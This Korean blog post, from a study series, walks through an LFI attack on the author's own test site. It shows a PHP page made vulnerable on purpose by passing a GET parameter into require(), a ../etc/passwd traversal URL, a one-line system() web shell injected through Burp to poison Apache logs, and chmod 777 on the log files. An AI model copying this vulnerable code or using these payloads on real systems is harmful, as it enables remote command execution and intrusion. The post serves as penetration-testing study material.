직접 만든 사이트에 LFI 공격이 먹히는지 한번 공격해보겠습니다.
LFI 취약점
LFI 취약점은 include, include_once, require, require_once 등의 함수에
사용자의 입력값이 필터링 없이 들어갔을 때 발생할 수 있는 취약점입니다.
access.log 경로 알기
직접 만든 사이트의 좋은 점.. access.log의 경로를 마음껏 찾아볼 수 있다는 것입니다.
이리저리 돌아다니다 var 폴더에 들어가니 log 라는 폴더가 보입니다.
굉장히 의심되죠?
log 폴더로 들어가니 apache2가 있었고 해당 폴더에 들어가니 access.log를 발견했습니다.
제가 만든 웹 사이트에 테스트용 페이지를 하나 만들었었습니다.
lecturetest2.php 인데요
이 페이지에 의도적으로 LFI 취약점을 만들어보겠습니다.
원래 이 파일은 nav.html이라는 상단 바를 require하고 있었는데요
이렇게 말이죠
<?php
require('nav.html');
?>
이 코드를 GET방식으로 사용자의 입력값을 받아
require 함수에 들어갈 수 있도록
lecturetest2.php의 코드를
다음과 같이 수정했습니다.
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
} else {
$filename='nav.html';
}
require("./".filename);
?>
새로고침해서 적용상태를 보면 이런 느낌입니다.
URL만 처음 봤을 때는 GET방식을 사용한다거나, filename 파라미터를 사용하는지 알 수 없게 나옵니다.
그럼 url에 filename파라미터를 넣고 /etc/passwd 파일을 호출시키도록 해보겠습니다.
소스코드 수정할 때 require 안에 상대 경로가 들어가도록 코드를 짰으므로
디렉토리 인덱싱으로 최상단 경로로 올라간 뒤 etc/passwd가 호출되는지 보겠습니다.
http:URL/lecturetest2.php?filename=../../../../../../etc/passwd
호출이 되었습니다.!!
그럼 실제로 공격을 해보기 위하여 버프 스위트를 켜봅니다.
intercept를 on 한 뒤 새로고침을 누르고
전송파일 정보를 싹 다 지우고 한 줄 웹 쉘을 입력해봅니다.
이걸 전송한다면 아무것도 출력되지 않겠죠?
말도 안되는 전송이니까요
원래라면 이렇게 웹 쉘을 전송한다고 해서 웹 쉘 코드가 실행되는 게 아니기 때문이죠
<?php echo system($_GET['cmd']);?>
당연한 것처럼 Bad Request 오류가 떴습니다.
하지만 이 오류는 access.log에 오류형태로 저장되게 되고 이를
LFI 로 불러온다면 php 웹 쉘 코드를 실행시킬 수 있을 겁니다.
access.log를 호출했는데 아무것도 호출이 안되었습니다.
error.log도 호출했는데 아무것도 출력되지 않았습니다...
access.log 파일을 읽어보겠습니다.
error.log 파일을 읽어보겠습니다.
권한 문제로 denied 되고 있는 것 같네요
cd /var/log/apache2에 들어가 ls -al을 입력해줍니다.
아주 단단히 막혀있네요
chmod 777 access.log 를 이용해 권한을 모두 접속가능하도록 다 열어주고 상태를 봅니다.
다시 ls -al
이젠 권한이 잘 풀려있는 것을 확인할 수 있습니다.
이제 다시 공격해보겠습니다.
공격할 페이지를 열고 인터셉트를 on 한 후, 웹 쉘 코드를 보내서 에러를 강제로 일으켜 봅니다.
에러가 잘 발생했습니다.
권한 상승을 해도 여전히 access.log에서는 불러오기가 안되서
chmod 777 error.log에 대해 권한 상승을 걸어
불러왔더니 이제 되었습니다..!!
error.log 파일이 실행되어 nav 바 대신 나타나는 것을 확인할 수 있습니다.
소스 참조
access.log의 권한을 상승시키지 않고도 fd를 이용해 LFI 취약점 공격하는 법 : https://blog.naver.com/PostView.nhn?blogId=sjhmc9695&logNo=222002074140&from=search&redirect=Log&widgetTypeCall=true&directAccess=false
'해킹 > Web Hacking' 카테고리의 다른 글
[ 웹 진단 리스트 ] 취약한 암호화 프로토콜 이용 진단 - sslscan (0) | 2023.08.12 |
---|---|
칼리 리눅스로 할 수 있는 것 (0) | 2023.08.02 |
[ 19주차 ] 스터디 정리 - 모바일 앱 모의해킹의 개요 (0) | 2023.07.27 |
OWASP TOP 10 웹 취약점 점검 리스트 (0) | 2023.07.23 |
[18주차] 스터디 정리 - 총정리 (0) | 2023.07.21 |